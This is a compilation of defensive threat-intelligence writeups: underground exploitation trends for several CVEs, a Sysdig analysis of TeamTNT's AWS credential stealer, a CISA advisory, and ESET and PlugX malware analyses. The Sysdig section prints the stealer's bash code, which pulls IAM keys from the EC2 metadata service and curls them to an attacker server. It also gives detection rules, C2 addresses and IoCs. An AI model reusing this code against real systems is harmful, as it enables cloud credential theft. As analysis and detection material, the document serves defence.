- A long-standing member of the Russian-language underground community started a post thread where the actor advertised funds available to purchase an exploit for the Citrix vulnerability. Several actors replied expressing a similar interest or discussing exploitability of CVE-2019-19781.
- A prolific seller of network access possibly leveraged the vulnerability to gain unauthorized network access to several organizations. The assessment was not confirmed but the timing of the disclosure and advertised accesses were concurrent.
**January 2020**
- An exploit for the Citrix vulnerability was publicly available. An actor posted the GitHub link on a previously opened post thread and several actors circulated exploits for the vulnerability.
- An actor shared several code variants for CVE-2019-19781. This actor commonly shares copied PoC and exploit code from open sources including Exploit DB, Packet Storm, and GitHub.
**February 2020**
- A Russian-speaking actor was suspected to have leveraged the Citrix vulnerability after released compromised access revealed the impacted company uses Citrix System Software; however, the assessment was not confirmed.
**May 2020**
- A relatively new actor allegedly leveraged CVE-2019-19781 to sell compromised network accesses on underground forums. The actor claimed to use publicly available code for exploitation after scanning the internet for vulnerable hosts.
**June 2020**
- A handful of actors, including a notable threat actor with a positive underground reputation, claimed responsibility for many compromised network accesses likely using the Citrix vulnerability as an initial attack vector into compromised victim organizations.
### CVE-2020-5902
The F5 Traffic Management User Interface (TMUI), also referred to as the Configuration utility, reportedly had an RCE vulnerability in multiple versions of BIG-IP that was disclosed publicly as CVE-2020-5902 on June 30, 2020. This vulnerability quickly cycled through the priority indicators of underground activity, which added to the vulnerability’s criticality and overall risk of possible exploitation. The vendor reported the vulnerability with a Common Vulnerability Scoring System (CVSS) of 10.0, the highest score a CVE can receive. The F5 vulnerability allowed unauthenticated attackers or authenticated users with network access to execute arbitrary system commands, create or delete files, disable services, and execute arbitrary Java code. Although the vendor released fixed versions and mitigation information, there was rapid development of exploit code and implementation into an attack framework. Following common trends, several actors shared information from multiple open source reports that discussed the vulnerability, and an actor shared an alleged nmap exploit for CVE-2020-5902. Once a Metasploit module was observed publicly, an actor known for copying code from open sources shared it on an underground forum. Because the vulnerability was quickly productized and there was evidence of threat actors attempting to leverage the CVE in attacks, the overall risk of exploitation score is high.
**July 2020**
- Several actors posted information from open source reporting about the disclosure of CVE-2020-5902.
- An actor posted an alleged nmap exploit for the F5 BIG-IP vulnerability stating: “Here I’m posting nmap script to exploit it. I am loving this vulnerability.”
- A notable Turkish-speaking actor shared an exploit and Metasploit module for CVE-2020-5902. The actor commonly shares PoC and exploit code available in open sources including Exploit DB, GitHub, and Packet Storm.
### CVE-2020-1350
The Microsoft Windows domain name system (DNS) servers remote code execution (RCE) vulnerability, CVE-2020-1350, was disclosed in July 2020 and is still cycling through the initial priority indicators of observed underground activity. There was an extensive amount of open source coverage of this vulnerability, which referenced risk scoring previously assigned to the BlueKeep vulnerability CVE-2019-0708. The criticality of the vulnerability, impacted vendor, type of vulnerability, and widespread reporting of CVE-2020-1350 were indicators of its severity. Following the outlined behavior, after the disclosure of the vulnerability and released patching information, we observed a near-immediate increase in underground mentions of this vulnerability including rick-rolling PoCs repeatedly shared. There is clear underground interest in CVE-2020-1350 based on threat actor posts seeking to develop code to leverage this vulnerability. However, a closer look at the actors that expressed an initial interest in leveraging the vulnerability shows no specific historical activity to indicate these individuals are sophisticated enough to carry out an exploitation of the SIGRed vulnerability alone. The activity remains an indicator of increase in risk scoring and probability of exploitation, but there likely will be many follow-on indicators that will press the severity higher. The current overall risk of exploitation score is medium.
**July 2020**
- Several threat actors posted information from open source reporting about CVE-2020-1350 and evidence of publicly available imitation PoC code was observed.
- A relatively new actor started a post thread in a popular English-language cybercrime forum expressing interest in exploring the vulnerability and potentially building something with it, but there was no observed interest in the actor’s post. The actor previously advertised dumped databases obtained by exploiting enterprise resource planning software.
- A denial of service (DoS) PoC was released publicly on GitHub.
## Wrap Up
Understanding the phases of underground activity driven by critical vulnerability disclosures can contextualize new and existing high-impact CVEs. The five indicators provided above were established based on general trend analysis as a point of reference to assist in developing a priority assessment for critical CVEs. |
# Threat news: TeamTNT stealing credentials using EC2 Instance Metadata
By Alberto Pellitteri
December 7, 2021
The Sysdig Threat Research Team has detected an attack attributed to TeamTNT. The initial target was a Kubernetes pod exposed outside the network. Once access was gained, the malware attempted to steal AWS credentials using the EC2 instance metadata.
TeamTNT is a threat actor that conducts large-scale attacks against virtual and cloud solutions, like Kubernetes and Docker. Previous attacks displayed motives concerned with cryptocurrency mining and stealing credentials, but this time a new strategy that leverages AWS metadata was employed. Excessive permissions can be exploited in the cloud platform and may result in lateral movement attacks.
In this short article, you will learn how this attack works, the associated risks, and how to detect it.
## Situation
TeamTNT exploited a WordPress pod deployed on a Kubernetes cluster via its misconfigured dashboard, which was then brute-forced and allowed remote command executions. After access is gained to the vulnerable container, the malware uses the `wget` command to download the malicious bash script `aws2.sh`.
The Sysdig Threat Research Team analyzed this script and found that it attempts to obtain AWS credentials using four different strategies:
1. First, it checks if any AWS credentials have been exported as environment variables on the compromised system.
2. Then, it looks for any AWS keys by inspecting docker containers currently running on the victim.
3. If the `/.aws/credentials` path exists in either the `/root` filesystem or in any `/home/` directories, they are searched for credentials.
4. It fetches AWS metadata from the victim machine in order to get the IAM role credentials associated with it: `aws_access_key_id`, `aws_secret_access_key`, `aws_session_token`.
The last strategy is the most recent and interesting one that has been adopted by TeamTNT to steal AWS credentials.
## Impact
AWS metadata, as well as user data, is used to configure and manage any EC2 instance that you run in AWS. It can be accessed only from your running instance via the following URI (over IPv4): `http://169.254.169.254/latest/meta-data/`.
Below is a sampling of the kind of data which the endpoint contains. You can use it to retrieve information about the instance and some network settings (like the local and public IPv4 addresses). But above all, it keeps track of the IAM role that is assigned to an instance. The latter information can be leveraged by the attackers.
Below is taken from the malicious script and shows how the attackers access and extract sensitive information from the metadata endpoint.
```bash
function AWS_META_DATA_CREDS(){
export TNT_AWS_ACCESS_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'AccessKeyId' | sed 's/ "AccessKeyId" : "/aws_access_key_id = /g' | sed 's/",//g')
if [ ! -z "$TNT_AWS_ACCESS_KEY" ]; then
export TNT_AWS_SECRET_KEY=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'SecretAccessKey' | sed 's/ "SecretAccessKey" : "/aws_secret_access_key = /g' | sed 's/",//g')
…
fi
if [ ! -z "$TNT_AWS_SECRET_KEY" ]; then
export TNT_AWS_SESSION_TOKEN=$(curl --max-time $T1O --connect-timeout $T1O -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/$(curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/) | grep 'Token' | sed 's/ "Token" : "/aws_session_token = /g' | sed 's/",//g')
Fi
…
echo $TNT_AWS_ACCESS_KEY >> $STEALER_OUT
echo $TNT_AWS_SECRET_KEY >> $STEALER_OUT
echo $TNT_AWS_SESSION_TOKEN >> $STEALER_OUT
…
```
Finally, once this information has been stored into the `STEALER_OUT` file, data exfiltration occurs with the uploading of the file to an attacker-controlled server.
```bash
if [ -f $STEALER_OUT ]; then
cat $STEALER_OUT
curl -F "[email protected]$STEALER_OUT" http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
rm -f $STEALER_OUT 2>/dev/null 1>/dev/null
fi
```
The impact of this new threat can thus lead to the theft of AWS credentials. Attackers will therefore be able to exploit them in order to carry out lateral movements in the cloud!
## Mitigations
As always, ensure that your services are protected with robust multi-factor authentication systems and up-to-date, vulnerability-free components. However, there are some specific steps that can be taken to counter this threat.
In AWS, you cannot enable access control rules to prevent unauthorized access to the EC2 instance metadata. Instead, you can adopt some strategies that limit the risks associated with AWS credential theft:
- If your instance doesn’t need to have access to metadata, it should be disabled. This minimizes the attack surface and avoids AWS credentials theft.
- You can also replace the default IMDSv1 method with the newer IMDSv2 for accessing instance metadata. IMDSv2 uses session-oriented requests and provides a session token that can be used to make requests for metadata and credentials.
- Only assign a role to the EC2 instance if strictly necessary.
- If you have attached an IAM role to an EC2 instance, make sure you have granted it the minimum privileges required to run its tasks.
For example, if your EC2 instance needs only read permissions for an AWS S3 bucket, you shouldn’t provide write permissions to it as well. In addition to restricting AWS actions, like read, list, and write to a bucket, you should also specify which AWS resources can be accessed. This may limit unauthorized access to sensitive data.
Below is reported an insecure policy:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:*"],
"Resource": ["*"]
}
]
}
```
Instead, a more secure policy would be:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Principal": {
"AWS": "arn:aws:iam::<aws-account>:role/<iam-role-for-s3-access>"
},
"Effect": "Allow",
"Action": ["s3:ListBucket", "s3:GetObject"],
"Resource": ["arn:aws:s3:::<s3-bucket-name>"]
}
]
}
```
## Detection
Detection of the methods carried out by TeamTNT to steal credentials can be accomplished using Falco. Falco is a CNCF incubating project for runtime threat detection for containers and Kubernetes.
You can leverage Falco’s powerful and flexible rules language to detect suspicious behaviors and generate events. Falco comes with a predefined set of rules, but you can also customize them or create new ones that fit your needs.
There are two rules in the default ruleset which will detect whenever a container unexpectedly tries to reach the EC2 instance metadata:
- **rule**: Contact EC2 Instance Metadata Service From Container
**desc**: Detect attempts to contact the EC2 Instance Metadata Service from a container
**condition**: outbound and fd.sip="169.254.169.254" and container and not ec2_metadata_containers
**output**: Outbound connection to EC2 instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
**priority**: NOTICE
**tags**: [network, aws, container, mitre_discovery]
- **rule**: Contact cloud metadata service from container
**desc**: Detect attempts to contact the Cloud Instance Metadata Service from a container
**condition**: outbound and fd.sip="169.254.169.254" and container and consider_metadata_access and not user_known_metadata_access
**output**: Outbound connection to cloud instance metadata service (command=%proc.cmdline connection=%fd.name %container.info image=%container.image.repository:%container.image.tag)
**priority**: NOTICE
**tags**: [network, container, mitre_discovery]
If you want to know more about these rules, you can check the full rule descriptions on GitHub.
Alternatively, the Find AWS Credentials rule can detect suspicious `grep` or `find` commands that are attempting to discover AWS credential files. This rule is included with Sysdig Secure.
```yaml
- macro: private_aws_credentials
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")
- rule: Find AWS Credentials
description: Detect AWS creds
condition: >
spawned_process and
((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Grep AWS credentials activities found (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: mitre_credential_access, process
```
## Summary of indicators of compromise (IoC) and suspicious activities
**IPs & URLs**
- 84.201.153.234
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/aws2.sh
- http://84.201.153.234/wp-content/themes/twentyseventeen/.a/upload2.php
**MD5**
- aws2.sh: 6eb1c1b3acbb0a71013826d512b3ebb6
**Filenames**
- aws2.sh
- TeamTNT_AWS_STEALER_v2.txt
- .tnt.aws.lock
**Suspicious activities**
There are a few suspicious activities worth mentioning in our TeamTNT malware analysis:
- `wget` is launched in runtime, not build time, to download the malicious bash script `aws2.sh`.
- Network communication with the AWS metadata.
Sysdig Secure includes several rules which use indicators of compromise to generate events when seen. These are automatically updated as the Sysdig Threat Research Team discovers them in order to provide the most up-to-date protection.
**Sysdig Secure IoC rules**:
- Malicious IPs or domains detected on command line
- Malicious binary detected
- Malicious process detected
## Conclusion
This incident proves that threats are always evolving. TeamTNT malware has been improved so that it is able to steal AWS credentials even if they are not directly stored inside the victim container. This may allow the threat actor to exploit your stolen credentials in order to perform lateral movement attacks.
If you want to adopt runtime security tools, you can choose Falco, “the open source standard for continuous risk and threat detection across Kubernetes, containers, and cloud”. |
# APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations
## SUMMARY
This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. The analysis in this advisory is ongoing, and the information provided should not be considered comprehensive. The Cybersecurity and Infrastructure Security Agency (CISA) will update this advisory as new information is available. This advisory was written by CISA with contributions from the Federal Bureau of Investigation (FBI).
CISA has recently observed advanced persistent threat (APT) actors exploiting multiple legacy vulnerabilities in combination with a newer privilege escalation vulnerability—CVE-2020-1472—in Windows Netlogon. The commonly used tactic, known as vulnerability chaining, exploits multiple vulnerabilities in the course of a single intrusion to compromise a network or application.
This recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal, and territorial (SLTT) government networks. Although it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.
CISA is aware of some instances where this activity resulted in unauthorized access to elections support systems; however, CISA has no evidence to date that the integrity of elections data has been compromised. There are steps that election officials, their supporting SLTT IT staff, and vendors can take to help defend against this malicious cyber activity.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## TECHNICAL DETAILS
### Initial Access
APT threat actors are actively leveraging legacy vulnerabilities in internet-facing infrastructure (Exploit Public-Facing Application [T1190], External Remote Services [T1133]) to gain initial access into systems. The APT actors appear to have predominantly gained initial access via the Fortinet FortiOS VPN vulnerability CVE-2018-13379.
Although not observed in this campaign, other vulnerabilities could be used to gain network access. As a best practice, it is critical to patch all known vulnerabilities within internet-facing infrastructure.
- Citrix NetScaler CVE-2020-19781
- MobileIron CVE-2020-15505
- Pulse Secure CVE-2019-11510
- Palo Alto Networks CVE-2020-2021
- F5 BIG-IP CVE-2020-5902
#### Fortinet FortiOS SSL VPN CVE-2018-13379
CVE-2018-13379 is a path traversal vulnerability in the FortiOS SSL VPN web portal. An unauthenticated attacker could exploit this vulnerability to download FortiOS system files through specially crafted HTTP resource requests.
#### MobileIron Core & Connector Vulnerability CVE-2020-15505
CVE-2020-15505 is a remote code execution vulnerability in MobileIron Core & Connector versions 10.3 and earlier. This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors.
### Privilege Escalation
Post initial access, the APT actors use multiple techniques to expand access to the environment. The actors are leveraging CVE-2020-1472 in Windows Netlogon to escalate privileges and obtain access to Windows AD servers. Actors are also leveraging open-source tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers (Valid Accounts [T1078]).
#### Microsoft Netlogon Remote Protocol Vulnerability: CVE-2020-1472
CVE-2020-1472 is a vulnerability in Microsoft Windows Netlogon Remote Protocol (MS-NRPC), a core authentication component of Active Directory. This vulnerability could allow an unauthenticated attacker with network access to a domain controller to completely compromise all AD identity services (Valid Accounts: Domain Accounts [T1078.002]). Malicious actors can leverage this vulnerability to compromise other devices on the network (Lateral Movement [TA0008]).
### Persistence
Once system access has been achieved, the APT actors use abuse of legitimate credentials (Valid Accounts [T1078]) to log in via VPN or remote access services (External Remote Services [T1133]) to maintain persistence.
## MITIGATIONS
Organizations with externally facing infrastructure devices that have the vulnerabilities listed in this advisory, or other vulnerabilities, should move forward with an “assume breach” mentality. As initial exploitation and escalation may be the only observable exploitation activity, most mitigations will need to focus on more traditional network hygiene and user management activities.
### Keep Systems Up to Date
Patch systems and equipment promptly and diligently. Establishing and consistently maintaining a thorough patching cycle continues to be the best defense against adversary TTPs.
### Comprehensive Account Resets
If there is an observation of CVE-2020-1472 Netlogon activity or other indications of valid credential abuse detected, it should be assumed the APT actors have compromised AD administrative accounts. The AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain.
It is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide:
1. Create a temporary administrator account, and use this account only for all administrative actions.
2. Reset the Kerberos Ticket Granting Ticket (krbtgt) password; this must be completed before any additional actions.
3. Wait for the krbtgt reset to propagate to all domain controllers.
4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned):
- User accounts (forced reset with no legacy password reuse)
- Local accounts on hosts
- Service accounts
- Directory Services Restore Mode (DSRM) account
- Domain Controller machine account
- Application passwords
5. Reset the krbtgt password again.
6. Wait for the krbtgt reset to propagate to all domain controllers.
7. Reboot domain controllers.
8. Reboot all endpoints.
### CVE-2020-1472
To secure your organization’s Netlogon channel connections:
- Update all Domain Controllers and Read Only Domain Controllers. On August 11, 2020, Microsoft released software updates to mitigate CVE-2020-1472. Applying this update to domain controllers is currently the only mitigation to this vulnerability.
- Monitor for new events, and address non-compliant devices that are using vulnerable Netlogon secure channel connections.
- Block public access to potentially vulnerable ports, such as 445 (Server Message Block [SMB]) and 135 (Remote Procedure Call [RPC]).
### VPN Vulnerabilities
Implement the following recommendations to secure your organization’s VPNs:
- Update VPNs, network infrastructure devices, and devices being used to remote into work environments with the latest software patches and security configurations.
- Implement multi-factor authentication (MFA) on all VPN connections to increase security. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available.
- Discontinue unused VPN servers. Reduce your organization’s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers.
### How to uncover and mitigate malicious activity
When addressing potential incidents and applying best practice incident response procedures:
- Collect and remove for further analysis relevant artifacts, logs, and data.
- Implement mitigation steps that avoid tipping off the adversary that their presence in the network has been discovered.
- Consider soliciting incident response support from a third-party IT security organization to provide subject matter expertise and technical support to the incident response.
## CONTACT INFORMATION
For any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact:
- CISA (888-282-0870 or [email protected]), or
- The FBI through the FBI Cyber Division (855-292-3937 or [email protected]) or a local field office. |
# Mustang Panda PlugX - Reused Mutex and Folder Found in the Extracted Config
Focus on Threat Research through malware reverse engineering. New Mustang Panda PlugX sample containing overlapping properties uploaded to VirusTotal.
**Date:** May 27, 2021
**Read Time:** 3-Minute Read
**Family:** PlugX - Variant: XXXXXXXX
**Threat Actor:** Mustang Panda / Red Delta
**Encrypted:** de0f65a421ce8ee4a927f4f9228f29ff12be69ac71edecb18c35cb5101e4c3cf
**Decrypted:** 2bfd100498f70938dedef42116af09af2db77ef1315edcea0ffd62c93015ddf5
**XOR Decryption Key:** 0x4b, 0x73, 0x51, 0x4f, 0x74, 0x6d, 0x49, 0x68, 0x63
**Decryption Key Length:** 10
## Summary
On 2021-05-26 another encrypted Mustang Panda PlugX binary was uploaded to VirusTotal. The extracted config contains values seen in prior Mustang Panda PlugX files.
```json
{
"config": {
"cncs": [
{
"num": 1,
"host": "103.192.226.100",
"port": 80
},
{
"num": 1,
"host": "103.192.226.100",
"port": 110
},
{
"num": 1,
"host": "103.192.226.100",
"port": 8080
},
{
"num": 1,
"host": "103.192.226.100",
"port": 5938
}
],
"mutex": "MvyShgFjKjaJsMinCCgJ",
"sleep": 1000,
"folder": "AvastSvcZEg"
},
"extracted_from_sha256": "2bfd100498f70938dedef42116af09af2db77ef1315edcea0ffd62c93015ddf5"
}
```
## Related Samples
This sample reuses both the Folder name and Mutex which were also found in the prior identified sample: e4981316b5fc251a5cea5d941303046dad13a9b993006ec07ff7727b17e0e17b. |
# Mustang Panda’s Hodur: Old tricks, new Korplug variant
ESET researchers discovered a still-ongoing campaign using a previously undocumented Korplug variant, which they named Hodur due to its resemblance to the THOR variant previously documented by Unit 42 in 2020. In Norse mythology, Hodur is Thor’s blind half-brother, who is tricked by Loki into killing their half-brother Baldr.
## Key findings in this blogpost:
- As of March 2022, this campaign is still ongoing and goes back to at least August 2021.
- Known victims include research entities, internet service providers, and European diplomatic missions.
- The compromise chain includes decoy documents that are frequently updated and relate to events in Europe.
- The campaign uses a custom loader to execute a new Korplug variant.
- Every stage of the deployment process utilizes anti-analysis techniques and control-flow obfuscation, which sets it apart from other campaigns.
- ESET researchers provide an in-depth analysis of the capabilities and commands of this new variant.
Victims of this campaign are likely lured with phishing documents abusing the latest events in Europe such as Russia’s invasion of Ukraine. This resulted in more than three million residents fleeing the war to neighboring countries, leading to an unprecedented crisis on Ukraine’s borders. One of the filenames related to this campaign is `Situation at the EU borders with Ukraine.exe`. Other phishing lures mention updated COVID-19 travel restrictions, an approved regional aid map for Greece, and a Regulation of the European Parliament and of the Council. The last one is a real document available on the European Council’s website. This shows that the APT group behind this campaign is following current affairs and is able to successfully and swiftly react to them.
## Affected countries:
- Mongolia
- Vietnam
- Myanmar
- Greece
- Russia
- Cyprus
- South Sudan
- South Africa
## Affected verticals:
- Diplomatic missions
- Research entities
- Internet service providers (ISPs)
## Analysis
Based on code similarities and the many commonalities in Tactics, Techniques, and Procedures (TTPs), ESET researchers attribute this campaign with high confidence to Mustang Panda (also known as TA416, RedDelta, or PKPLUG). It is a cyberespionage group mainly targeting governmental entities and NGOs. Its victims are mostly, but not exclusively, located in East and Southeast Asia with a focus on Mongolia. The group is also known for its campaign targeting the Vatican in 2020.
While we haven’t been able to identify the verticals of all victims, this campaign seems to have the same targeting objectives as other Mustang Panda campaigns. Following the APT’s typical victimology, most victims are located in East and Southeast Asia, along with some in European and African countries. According to ESET telemetry, the vast majority of targets are located in Mongolia and Vietnam, followed by Myanmar, with only a few in the other affected countries.
Mustang Panda’s campaigns frequently use custom loaders for shared malware including Cobalt Strike, Poison Ivy, and Korplug (also known as PlugX). The group has also been known to create its own Korplug variants. Compared to other campaigns using Korplug, every stage of the deployment process utilizes anti-analysis techniques and control-flow obfuscation.
This blogpost contains a detailed analysis of this previously unseen Korplug variant used in this campaign. This activity is part of the same campaign recently covered by Proofpoint, but we provide additional historical and targeting information.
## Toolset
Mustang Panda is known for its elaborate custom loaders and Korplug variants, and the samples used in this campaign showcase this perfectly.
Compromise chains seen in this campaign follow the typical Korplug pattern: a legitimate, validly signed, executable vulnerable to DLL search-order hijacking, a malicious DLL, and an encrypted Korplug file are deployed on the target machine. The executable is abused to load the module, which then decrypts and executes the Korplug RAT. In some cases, a downloader is used first to deploy these files along with a decoy document.
What sets this campaign apart is the heavy use of control-flow obfuscation and anti-analysis techniques at every stage of the deployment process. The following sections describe the behavior of each stage and take a deeper look at the defense evasion techniques used in each of them.
### Initial access
We haven’t been able to observe the initial deployment vector, but our analysis points to phishing and watering hole attacks as likely vectors. In instances where we saw a downloader, the filenames used suggest a document with an interesting subject for the target. Such examples include:
- `COVID-19 travel restrictions EU reviews list of third countries.exe`
- `State_aid__Commission_approves_2022-2027_regional_aid_map_for_Greece.exe`
- `REGULATION OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL.exe`
- `Situation at the EU borders with Ukraine.exe`
To further the illusion, these binaries download and open a document that has the same name but with a .doc or .pdf extension. The contents of these decoys accurately reflect the filename.
### Downloader
Although its complexity has increased over the course of the campaign, the downloader is fairly straightforward. This increase in complexity comes from additional anti-analysis techniques.
It first downloads four files over HTTPS: a decoy document, a legitimate executable, a malicious module, and an encrypted Korplug file. The combination of those last three components to execute a payload via DLL side-loading is sometimes referred to as a trident and is a technique commonly used by Mustang Panda, and with Korplug loaders in general. Both the server addresses and file paths are hardcoded in the downloader executable. Once everything is downloaded, and the decoy document opened to distract the victim, the downloader uses the following command line to launch the legitimate executable:
```
cmd /c ping 8.8.8.8 -n 70&&”%temp%\<legitimate executable>”
```
This ping command both checks internet connectivity and introduces a delay (through the -n 70 option) before executing the downloaded, legitimate executable.
The downloader uses multiple anti-analysis techniques, many of which are also used in the loader and final payload. Additional obfuscation has been added to new versions over the course of the campaign without otherwise changing their goal.
In early versions of the downloader, junk code and opaque predicates were used to hinder analysis, but the server and filenames are plainly visible in cleartext. In later versions, the files on the server are RC4 encrypted, using the base 10 string representation of the file size as the key, and then hex-encoded. This process is illustrated in the Python snippet below. The opposite operations are performed client-side by the downloader to recover the plaintext files. This is likely done to bypass network-level protections.
```python
from Crypto.cipher import ARC4
key = “%d” % len(plaintext)
rc4 = ARC4.new(key)
cipher_content = rc4.encrypt(plaintext).hex().upper()
```
These versions replace the use of cleartext strings with encrypted stack strings. They are still hardcoded in the file, but the obfuscation surrounding them, and the use of different keys, makes it hard to decrypt them statically in an automated manner. This same technique is used heavily in the subsequent stages. Encrypted stack strings are also used to obfuscate calls to Windows API functions.
First, the name of the target function is decrypted and passed to a function. This function obtains a pointer to the InMemoryOrderModuleList field of the PEB (Process Environment Block). It then iterates over the loaded modules, passing each handle to GetProcAddress along with the function name until the target function is successfully resolved.
### Loader
As is common with Korplug, the loader is a DLL that exploits a side-loading vulnerability in a legitimate, signed executable. We have observed many different applications being abused in this campaign, for instance a vulnerable SmadAV executable previously seen by Qurium in a campaign attributed to Mustang Panda that targeted Myanmar.
The loader exports multiple functions. The exact list varies depending on the abused application, but in all cases, only one of them does anything of consequence. In all of the loaders we observed, this is the exported function with the highest load address. All the other exports, and the library’s entry point, either return immediately or execute some do-nothing junk code. Many of these exports have names that consist of random lowercase letters.
The loader function obtains the directory from which the DLL is running using GetModuleFileNameA and tries to open the encrypted Korplug file it contains. That filename is hardcoded in the loader. It reads the file’s contents into a locally allocated buffer and decrypts it. The loader makes this buffer executable using VirtualProtect before calling into it at offset 0x00.
Windows API function calls are obfuscated with a different technique than that used in the downloader. Unlike the loader, which contains the names of its functions, only the 64-bit hashes of the Windows API function calls are present in the binary. To resolve those functions, the loader traverses the export lists of all loaded libraries via the InMemoryOrderModuleList of the PEB. Each export’s name is hashed, then compared to the expected value.
### Korplug backdoor
Korplug (also known as PlugX) is a RAT used by multiple APT groups. In spite of it being so widely used, or perhaps because of it, few reports extensively describe its commands and the data it exfiltrates. Its functionality is not constant between variants, but there does seem to exist a significant overlap in the list of commands between the version we analyzed and other sources.
As previously mentioned, the variant used in this campaign bears many similarities to the THOR variant, which is why we have named it Hodur. The similarities include the use of the Software\CLASSES\ms-pu registry key, the same format for C&C servers in the configuration, and use of the Static window class.
As expected for Korplug payloads, this stage is only ever decrypted in memory by the loader. Only the encrypted version is written to disk in a file with a .dat extension. Unless stated otherwise, all hardcoded strings discussed in this section are stored as encrypted stack strings.
In this module, Windows API functions are obfuscated through a combination of the methods used in previous stages. LoadLibraryA and GetProcAddress are resolved via the FNV-1a hashing technique and stack strings are decrypted and passed to them to obtain the target function.
### Loading
Once decrypted, the payload is a valid DLL that exports a single function. In almost all observed samples from this campaign, this function is named StartProtect. However, launching it directly via this export or its entry point will not execute the main payload and the loading process is quite intricate.
As explained in the previous section, the file is decrypted in memory as a continuous blob by the loader and the execution starts at offset 0x00. The PE header contains shellcode that calls a specific offset that corresponds to the module’s single export.
This function parses the PE blob in memory and manually maps it as a library into a newly allocated buffer. This includes mapping the various sections, resolving imports and, finally, using DLL_PROCESS_ATTACH to call the DLL entry point. Once again, opaque predicates and junk code are used to obfuscate the purpose of this function.
The entry point of the properly loaded library is then called with the non-standard value of 0x04 for the fdwReason parameter. This special value is required to get it to execute its main payload. This simple check prevents the RAT from being trivially executed directly with a generic tool like rundll32.exe.
The backdoor first decrypts its configuration using the string `123456789` as a repeating XOR key. Once decrypted, the configuration block starts with `########`. The layout of the configuration varies slightly between samples, but they all contain at least the following fields:
- Installation directory name. Also used as the name of the registry key created for persistence.
- Mutex name
- A value that is either a version or ID string
- List of C&C servers. Each entry includes IP address, port number, and a number indicating the protocol to use with that C&C.
The backdoor then checks the path from which it is running using GetModuleFileNameW. If this matches `%userprofile%\<installation directory>` or `%allusersprofile%\<installation directory>`, the RAT functionality will be executed. Otherwise, it will go through the installation process.
### Installation
To install itself, the malware creates the aforementioned directory under `%allusersprofile%`. Using SetFileAttributesW, it is then marked as hidden and system. The vulnerable executable, loader module, and encrypted Korplug files are copied to the new directory.
Next, persistence is established. Earlier samples achieved this by creating a scheduled task to be run at boot via schtasks.exe. Newer samples add a registry entry to `Software\Microsoft\Windows\CurrentVersion\Run`, trying the HKLM hive first, then HKCU. This entry has the same name as the installation directory with its value set to the newly copied executable’s path.
Once persistence has been set up, the malware launches the executable from its new location and exits.
### RAT
The RAT functionality of the Hodur variant used in this campaign mostly lines up with other Korplug variants, with some additional commands and characteristics. As we have previously stated, though, detailed analyses of Korplug commands are few and far between, so we aim to provide such an analysis in the hopes of aiding future analysts.
When in this mode, the backdoor iterates through the list of C&C servers in its configuration until it reaches the end or receives an Uninstall command. For each of those servers, it processes commands until it receives a Stop command or encounters an error.
Hodur’s initial handshake can be done over HTTPS or TCP. This is determined by a value in the configuration for that particular C&C server. Subsequent communication is always done over TCP using a custom protocol.
Following the initial handshake, Hodur’s communications involve TCP messages that consist of a header, followed by a message body that is usually compressed using LZNT1 and always encrypted with RC4. Messages whose Command number header field have the `0x10000000` bit set have encrypted but not compressed message bodies.
## Conclusion
The decoys used in this campaign show once more how quickly Mustang Panda is able to react to world events. For example, an EU regulation on COVID-19 was used as a decoy only two weeks after it came out, and documents about the war in Ukraine started being used in the days following the beginning of the launch of the invasion. This group also demonstrates an ability to iteratively improve its tools, including its signature use of trident downloaders to deploy Korplug.
For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected]. ESET Research now also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.
## IoCs
| SHA-1 | Filename | ESET detection name | Description |
|-------|----------|---------------------|-------------|
| 69AB6B9906F8DCE03B43BEBB7A07189A69DC507B | coreclr.dll | Win32/Agent.ADMW | Korplug loader |
